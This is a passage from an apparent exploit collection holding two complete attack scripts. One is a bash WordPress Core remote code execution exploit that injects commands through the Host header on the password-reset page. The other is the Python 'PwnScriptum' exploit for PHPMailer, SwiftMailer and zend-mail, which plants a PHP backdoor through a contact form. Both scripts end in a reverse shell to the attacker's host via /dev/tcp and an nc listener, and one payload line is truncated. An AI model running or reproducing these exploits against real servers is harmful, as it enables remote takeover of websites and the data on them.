lKo;dNMN.oMM0;:Ok. 'xxxxxx: 64 | # .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx: 65 | # .dxxxxxdl;. ., .. .;cdxxxxxx: 66 | # .dxxxxxxxxxdc,. 'cdkkxxxxxxxx: 67 | # .':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,. 68 | # .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:. 69 | # .':oxxxxxxxxx.ckkkkkkkkxl,. 70 | # .,cdxxxxx.ckkkkkxc. 71 | # .':odx.ckxl,. 72 | # .,.'. 73 | # 74 | # https://ExploitBox.io 75 | # 76 | # https://twitter.com/Exploit_Box 77 | # 78 | # ----------------------------------------------------------------- 79 | 80 | 81 | 82 | rev_host="192.168.57.1" 83 | 84 | function prep_host_header() { 85 | cmd="$1" 86 | rce_cmd="\${run{$cmd}}"; 87 | 88 | # replace / with ${substr{0}{1}{$spool_directory}} 89 | #sed 's^/^${substr{0}{1}{$spool_directory}}^g' 90 | rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`" 91 | 92 | # replace ' ' (space) with 93 | #sed 's^ ^${substr{10}{1}{$tod_log}}$^g' 94 | rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`" 95 | #return "target(any -froot@localhost -be $rce_cmd null)" 96 | host_header="target(any -froot@localhost -be $rce_cmd null)" 97 | return 0 98 | } 99 | 100 | 101 | #cat exploitbox.ans 102 | intro=" 103 | DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r 104 | bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f 105 | G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c 106 | G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg 107 | IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f 108 | IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f 109 | X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6 110 | b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb 111 | NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N 112 | TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1 113 | QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz 114 | NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g 115 | G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54 116 | eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb 117 | WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO 118 | TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg 119 | ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb 120 | MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD 121 | G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob 122 | WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz 123 | NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb 124 | MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f 125 | X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4 126 | bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K" 127 | intro2=" 128 | ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09 129 | fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb 130 | MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg 131 | ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE 132 | aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09 133 | fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg 134 | ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh 135 | bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt 136 | ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt 137 | ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp 138 | bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1 139 | cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg==" 140 | echo "$intro" | base64 -d 141 | echo "$intro2" | base64 -d 142 | 143 | if [ "$#" -ne 1 ]; then 144 | echo -e "Usage:\n$0 target-wordpress-url\n" 145 | exit 1 146 | fi 147 | target="$1" 148 | echo -ne "\e[91m[*]\033[0m" 149 | read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice 150 | echo 151 | 152 | 153 | if [ "$choice" == "y" ]; then 154 | 155 | echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n" 156 | echo -e "\e[92m[+]\033[0m Connected to the target" 157 | 158 | # Serve payload/bash script on :80 159 | RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &" 160 | echo "$RCE_exec_cmd" > rce.txt 161 | python -mSimpleHTTPServer 80 2>/dev/null >&2 & 162 | hpid=$! 163 | 164 | # Save payload on the target in /tmp/rce 165 | cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt" 166 | prep_host_header "$cmd" 167 | curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword 168 | echo -e "\n\e[92m[+]\e[0m Payload sent successfully" 169 | 170 | # Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce 171 | cmd="/bin/bash /tmp/rce" 172 | prep_host_header "$cmd" 173 | curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword & 174 | echo -e "\n\e[92m[+]\033[0m Payload executed!" 175 | 176 | echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n" 177 | nc -vv -l 1337 178 | echo 179 | else 180 | echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n" 181 | exit 0 182 | 183 | fi 184 | 185 | 186 | echo "Exiting..." 187 | exit 0 188 | 189 | -------------------------------------------------------------------------------- /ZendFramework/PwnScriptum_RCE_exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | intro = """\033[94m 4 | __ __ __ __ __ 5 | / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ 6 | / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/ 7 | / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ ) 8 | /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/ 9 | /____/ 10 | 11 | 12 | PHPMailer / Zend-mail / SwiftMailer - Remote Code Execution Exploit 13 | a.k.a "PwnScriptum" 14 | 15 | CVE-2016-10033 + CVE-2016-10045 + CVE-2016-10034 + CVE-2016-10074 16 | 17 | 18 | This PoC exploit aims to execute a reverse shell on the target in 19 | the context of the web-server user via vulnerable PHP email library. 20 | 21 | 22 | Discovered and Coded by: 23 | 24 | \033[1;34m 25 | Dawid Golunski 26 | https://legalhackers.com 27 | 28 | t: @dawid_golunski for updates 29 | \033[0m 30 | \033[94m 31 | P.$. For testing only! Don't break the Web ;) 32 | \033[0m 33 | """ 34 | info = """ 35 | [Version] 36 | Limited PoC (ver. 1.1) 37 | 38 | [PoC Video] 39 | See the the exploit in action at: 40 | 41 | https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html 42 | 43 | [Info] 44 | This exploit targets a common webapp component - Contact Form. 45 | 46 | It combines payloads for the following vulns: 47 | 48 | 1. PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033) 49 | https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html 50 | 51 | 2. PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045 / escapeshell bypass) 52 | https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln.html 53 | 54 | 3. SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074) 55 | https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html 56 | 57 | 4. Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034) 58 | https://legalhackers.com/advisories/ZendFramework-Exploit-ZendMail-Remote-Code-Exec-CVE-2016-10034-Vuln.html 59 | 60 | [Usage] 61 | 62 | ./PwnScriptum_RCE_exploit.py [-h] -url WEBAPP_BASE_URL -cf CONTACT_SCRIPT 63 | [-d TARGET_UP_DIR] -ip ATTACKERS_IP 64 | [-p ATTACKERS_PORT] [--version] 65 | [--post-action POST_ACTION] 66 | [--post-name POST_NAME] 67 | [--post-email POST_EMAIL] 68 | [--post-msg POST_MSG] 69 | 70 | Note, make sure the contact form matches the default field names (send/name/email/msg). 71 | Otherwise override with --post-msg=message_box for example. 72 | 73 | """ 74 | 75 | import os 76 | import argparse 77 | import time 78 | import urllib 79 | import urllib2 80 | import socket 81 | import sys 82 | 83 | 84 | # The Main Meat 85 | print intro 86 | 87 | # Show info 88 | if '-H' in sys.argv: 89 | print info 90 | exit(0) 91 | # Parse input args 92 | parser = argparse.ArgumentParser(prog='PwnScriptum_RCE_exploit.py', description='PHPMailer / Zend-mail / SwiftMailer - RCE Exploit (a.k.a \'PwnScriptum\')\nDiscovered by Dawid Golunski (https://legalhackers.com)') 93 | parser.add_argument('-H', action='store_true', default="false", required=False, help='Full Help / Info Page') 94 | parser.add_argument('-url', dest='WEBAPP_BASE_URL', required=True, help='WebApp Base Url') 95 | parser.add_argument('-cf', dest='CONTACT_SCRIPT', required=True, help='Contact Form scriptname') 96 | parser.add_argument('-d' , dest='TARGET_UP_DIR', required=False, help='Target Upload Dir', default="upload") 97 | parser.add_argument('-ip', dest='ATTACKERS_IP', required=True, help='Attackers Public IP for RevShell') 98 | parser.add_argument('-p', dest='ATTACKERS_PORT', required=False, help='Attackers Port for RevShell listener', default="8080") 99 | parser.add_argument('--version', action='version', version='%(prog)s 1.1 Limited PoC') 100 | parser.add_argument('--post-action', dest='POST_ACTION', required=False, help='Overrides POST "action" field name', default="send") 101 | parser.add_argument('--post-name', dest='POST_NAME', required=False, help='Overrides POST "name of sender" field name', default="name") 102 | parser.add_argument('--post-email', dest='POST_EMAIL', required=False, help='Overrides POST "email" field name', default="email") 103 | parser.add_argument('--post-msg', dest='POST_MSG', required=False, help='Overrides POST "message" field name', default="msg") 104 | args = parser.parse_args() 105 | 106 | # Preset vars 107 | TMOUT = 3 108 | # Set Vars 109 | #if args.ATTACKERS_PORT is None: 110 | # args.ATTACKERS_PORT = 8080 111 | #if args.TARGET_UP_DIR is None: 112 | # args.TARGET_UP_DIR = "upload" 113 | # Build the target backdoor URL here (note the "random" pid bit to avoid php code collisions on multiple runs / multiple phpfile appends ;) 114 | BACKDOOR_FILE = 'phpbackdoor' + str(os.getpid()) + '.php' 115 | BACKDOOR_URL = args.WEBAPP_BASE_URL.rstrip('/') + '/' + args.TARGET_UP_DIR + '/' + BACKDOOR_FILE 116 | CONTACT_SCRIPT_URL = args.WEBAPP_BASE_URL + args.CONTACT_SCRIPT 117 | 118 | # Show params 119 | print """[+] Setting vars to: \n 120 | WEBAPP_BASE_URL = [%s] 121 | CONTACT_SCRIPT = [%s] 122 | TARGET_UP_DIR = [%s] 123 | ATTACKERS_IP = [%s] 124 | ATTACKERS_PORT = [%s] 125 | CONTACT_SCRIPT_URL = [%s] 126 | BACKDOOR_FILEl = [%s] 127 | """ % (args.WEBAPP_BASE_URL, args.CONTACT_SCRIPT, args.TARGET_UP_DIR, args.ATTACKERS_IP, args.ATTACKERS_PORT, CONTACT_SCRIPT_URL, BACKDOOR_FILE) 128 | 129 | 130 | print "[+] Choose your target / payload: " 131 | print "\033[1;34m" 132 | print """[1] PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)\n""" 133 | print """[2] PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045) 134 | The escapeshellarg() bypass :)\n""" 135 | print """[3] SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)\n""" 136 | print """[4] Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)\n""" 137 | print "\033[0m" 138 | 139 | try: 140 | target = int(raw_input('[?] Select target [1-2]: ')) 141 | except ValueError: 142 | print "Not a valid choice. Exiting\n" 143 | exit(2) 144 | if (target>4): 145 | print "No such target. Exiting\n" 146 | exit(3) 147 | if target == 1: 148 | # PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033) 149 | payload = '"attacker\\" -oQ/tmp/ -X%s/%s some"@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE) 150 | if target == 2: 151 | # Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045) 152 | payload = "\"attacker\\' -oQ/tmp/ -X%s/%s some\"@email.com" % (args.TARGET_UP_DIR, BACKDOOR_FILE) 153 | if target == 3: 154 | # SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074) 155 | payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE) 156 | if target == 4: 157 | # Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034) 158 | payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE) 159 | 160 | print "\n[+] Generated mail() payload will upload the backdoor into the '%s' dir\n" % args.TARGET_UP_DIR 161 | # PHP RCE code to be saved into the backdoor php file on the target in TARGET_UP_DIR. E.g: 162 | # e.g: 163 | #RCE_PHP_CODE = "" 164 | RCE_PHP_CODE = """/dev/tcp/%s/%s 0<&1 2>&1' "); ?>""" % (TMOUT, args.ATTACKERS_IP, args.ATTACKERS_PORT) 165 | 166 | # The form names might need to be adjusted 167 | post_fields = {'action': "%s" % args.POST_ACTION, "%s" % args.POST_NAME: 'Jas Fasola', "%s" % args.POST_EMAIL: payload, "%s" % args.POST_MSG: RCE_PHP_CODE} 168 | 169 | # Attack 170 | # Inject payload into PHPMailer / mail() via a Contact form. This should write out the backdoor 171 | print "[+] Backdoor upload via the contact form at the URL '%s'\n" % CONTACT_SCRIPT_URL 172 | data = urllib.urlencode(post_fields) 173 | req = urllib2.Request(CONTACT_SCRIPT_URL, data) 174 | try: 175 | urllib2.urlopen(req) 176 | except urllib2.HTTPError, e: 177 | print "[!] Got HTTP error: [%d] when uploading the payload. Check the URL!\n\n" % e.code 178 | exit(3) 179 | except urllib2.URLError, err: 180 | print "[!] Got the '%s' error when uploading the payload. Check the URL!\n\n" % err.reason 181 | exit(4) 182 | 183 | # Check if the backdoor was uploaded correctly. 184 | # A little trick here. The urlopen should timeout at sleep(X)-1 if the backdoor ran fine 185 | # So we catch the timeout to find out. 186 | 187 | # Is it uploaded ? Try to execute the PHP backdoor and the Reverse Shell within it 188 | print "[+] Checking for the backdoor at the URL '%s'\n" % BACKDOOR_URL 189 | got_timeout = 0 190 | http_err = 0 191 | try: 192 | urllib2.urlopen(BACKDOOR_URL, timeout = (TMOUT-1)) 193 | except urllib2.HTTPError, e: 194 | http_err = e.code 195 | except urllib2.URLError, err: 196 | print "Some other error happened:", err.reason 197 | except socket.timeout, e: 198 | print "[*] \033[1;32mLooking good!\033[0m The sleep() worked by the looks of it :) \nUrlopen timed out just in time for the shell :)\n" 199 | got_timeout = 1 200 | 201 | if (got_timeout != 1): 202 | print "[!] Something went wrong... Error [%d]. Try another dir? Push through, don't give up! :)\n" % http_err 203 | exit(2) 204 | 205 | # Spawn the shell and wait for the sleep() PHP call to finish before /bin/bash is called 206 | print "[+] We should get a shell if we got till here! Spawning netcat now! :)\n" 207 | print "[+] \033[1;34mPlease tell me you're seeing this too... ;)\033[0m\n" 208 | os.system("nc -v -l -p %s" % args.ATTACKERS_PORT) 209 | 210 | print "\n[+] Shell closed. Removed the uploaded backdoor scripts?\n" 211 | 212 | print "\033[1;34mP.$. There's more to it :) Exiting, for now...\033[0m\n" 213 | 214 | 215 | --------------------------------------------------------------------------------